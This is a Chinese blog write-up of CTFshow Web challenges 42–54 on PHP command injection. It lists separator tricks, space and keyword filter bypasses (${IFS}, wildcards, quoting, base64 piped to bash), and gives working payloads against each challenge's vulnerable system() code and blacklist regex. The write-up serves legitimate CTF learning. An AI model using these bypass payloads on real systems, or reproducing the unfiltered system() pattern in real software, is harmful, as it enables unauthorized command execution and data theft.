zoukankan      html  css  js  c++  java
  • 关于CTFshow中Web入门4254

    0x00前记

    ​ 终于把学校上学期的期末考试考完了,刚好复习的时候跟着群里的师傅写了ctfshow上Web入门的42-54的题目,其中有很多的坑,但是收获也是很多的,这里做一下总结吧!给自己挖了很多的坑,很感谢各位师傅帮我填坑!!!

    0x01命令执行

    ​ 题目的考点主要都是命令执行+命令分隔,与ping的那种题目类似,不过这里主要是使用是“>/dev/null 2>&1”,百度查了一下意思,好像是不进行回显的意思,那就分隔命令,将命令分开,使得后面的命令失去相应的作用。

    分隔命令

    ;	//分号应该是最好理解的
    |	//只执行后面那条命令
    ||	//只执行前面那条命令
    &	//两条命令都会执行,不知道是不是自己姿势不对,没成功,下面也是一样
    &&	//两条命令都会执行
    

    空格绕过

    <
    <>	//需要写的权限
    ${IFS}
    $IFS$9
    %20
    %09
    %3c
    A=$'cat\x20flag'&&$A
    A=$'cat\x09flag'&&$A
    

    黑名单

    //一般情况像flag、php这种字符会被ban掉,这时候就需要进行绕过了
    通配符
    *	//匹配任何文本或字符串,这个通过测试发现并不能与IFS或<这两个字符一起使用
    ?	//匹配单个任意字符
    
    空字符
    $@	//ca$@t flag
    $1-$9	//ca$1t flag
    ${数字}  //ca${1}t flag
    
    编码绕过
    echo "Y2F0IGZsYWcucGhwCg=="|base64 -d|bash	//解码为cat flag.php并执行
    echo "cat flag.php"|base64	//最好别在在线网站编码,不然可能会将空格转成url编码,从而无法执行命令
    
    变量替换
    a=t;b=g;ca$a fla$b.php
    
    引号
    ca''t fl''ag.php
    
    反斜杆
    ca\t f\la\g.php
    

    Linux查看文件命令

    cat		//cat flag.php
    tac		//tac flag.php
    head	//head flag.php
    tail	//tail flag.php
    nl		//nl flag.php
    more	//more flag.php
    less	//less flag.php
    od		//od flag.php
    grep	//grep 'fla' flag.php
    strings	//strings flag.php
    sort	//sort flag.php
    

    0x02题目解析

    以下题目均来自:CTFshow

    感谢大师傅给我们出了这些有趣有意思的题目,开心

    Web42

    if(isset($_GET['c'])){
        $c=$_GET['c'];
        system($c." >/dev/null 2>&1");
    }else{
        highlight_file(__FILE__);
    }
    
    //这题没有任何的过滤,只有一个不回显的命令,命令分隔一下即可
    Payload:?c=cat flag.php;
    

    Web43

    if(isset($_GET['c'])){
        $c=$_GET['c'];
        if(!preg_match("/\;|cat/i", $c)){
            system($c." >/dev/null 2>&1");
        }
    }else{
        highlight_file(__FILE__);
    }
    
    //这题开始增加了黑名单了,过滤了分号-->可以用||绕过;cat则可以换一种查看文件的命令,或者使用引号等方式绕过
    Payload:?c=tac flag.php||
    

    Web44

    if(isset($_GET['c'])){
        $c=$_GET['c'];
        if(!preg_match("/;|cat|flag/i", $c)){
            system($c." >/dev/null 2>&1");
        }
    }else{
        highlight_file(__FILE__);
    }
    
    //对此开始过滤flag关键词了,这里可以用单引号、通配符等方法绕过
    Payload:?c=tac fla*||
    

    Web45

    if(isset($_GET['c'])){
        $c=$_GET['c'];
        if(!preg_match("/\;|cat|flag| /i", $c)){
            system($c." >/dev/null 2>&1");
        }
    }else{
        highlight_file(__FILE__);
    }
    
    //这里开始过滤空格了,利用上面讲到的空格绕过即可
    Payload:?c=tac%09fla?????||
    

    Web46

    if(isset($_GET['c'])){
        $c=$_GET['c'];
        if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
            system($c." >/dev/null 2>&1");
        }
    }else{
        highlight_file(__FILE__);
    }
    
    //这里过滤了数字推测可能是限制使用编码绕过,过滤了$可以限制比较多,以及通配符*,但是还有?
    Payload:?c=tac%09fla??php||
    

    Web47

    if(isset($_GET['c'])){
        $c=$_GET['c'];
        if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
            system($c." >/dev/null 2>&1");
        }
    }else{
        highlight_file(__FILE__);
    }
    
    //新添加了一些查看文件的命令进黑名单,但是tac还是可以用的
    Payload:?c=tac%09fla??php||
    

    Web48

    if(isset($_GET['c'])){
        $c=$_GET['c'];
        if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
            system($c." >/dev/null 2>&1");
        }
    }else{
        highlight_file(__FILE__);
    }
    
    //继续新增黑名单的内容,但是tac还是没过滤,开心
    Payload:?c=tac%09fla??php||
    

    Web49

    if(isset($_GET['c'])){
        $c=$_GET['c'];
        if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
            system($c." >/dev/null 2>&1");
        }
    }else{
        highlight_file(__FILE__);
    }
    
    Payload:?c=tac%09fla??php||
    

    Web50

    if(isset($_GET['c'])){
        $c=$_GET['c'];
        if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
            system($c." >/dev/null 2>&1");
        }
    }else{
        highlight_file(__FILE__);
    }
    
    //这里过滤了%和09,不能用原来的payload,不过换种空格绕过方式即可,这里有个坑就是<>和?一起使用时没有回显,所以这里用了单引号绕过
    Payload:?c=tac<>fla%27%27g.php||
    

    后面几题其实都是差不多的,这里不多赘述了。

    Web54

    if(isset($_GET['c'])){
        $c=$_GET['c'];
        if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
            system($c);
        }
    }else{
        highlight_file(__FILE__);
    }
    
    //因为这里加了匹配的内容,不能使用空字符绕过了,好不容易找到了grep命令,好用!!!因为flag被过滤了,所以对于关键字这里只用了'fla'
    Payload:?c=grep${IFS}'fla'${IFS}fla??php
    
  • 相关阅读:
    团队作业八——第二次团队冲刺(Beta版本)第6天
    团队作业八——第二次团队冲刺(Beta版本)第5天
    团队作业八——第二次团队冲刺(Beta版本)第4天
    个人作业5——软工个人总结
    个人作业4——alpha阶段个人总结
    个人作业3-案例分析
    软件工程网络15结对编程作业(201521123062)
    软件工程网络15个人阅读作业2(201521123062 杨钧宇)
    软件工程网络15个人阅读作业1(201521123062 杨钧宇)
    Java课程设计-随机密码生成器
  • 原文地址:https://www.cnblogs.com/erR0Ratao/p/13640600.html
Copyright © 2011-2022 走看看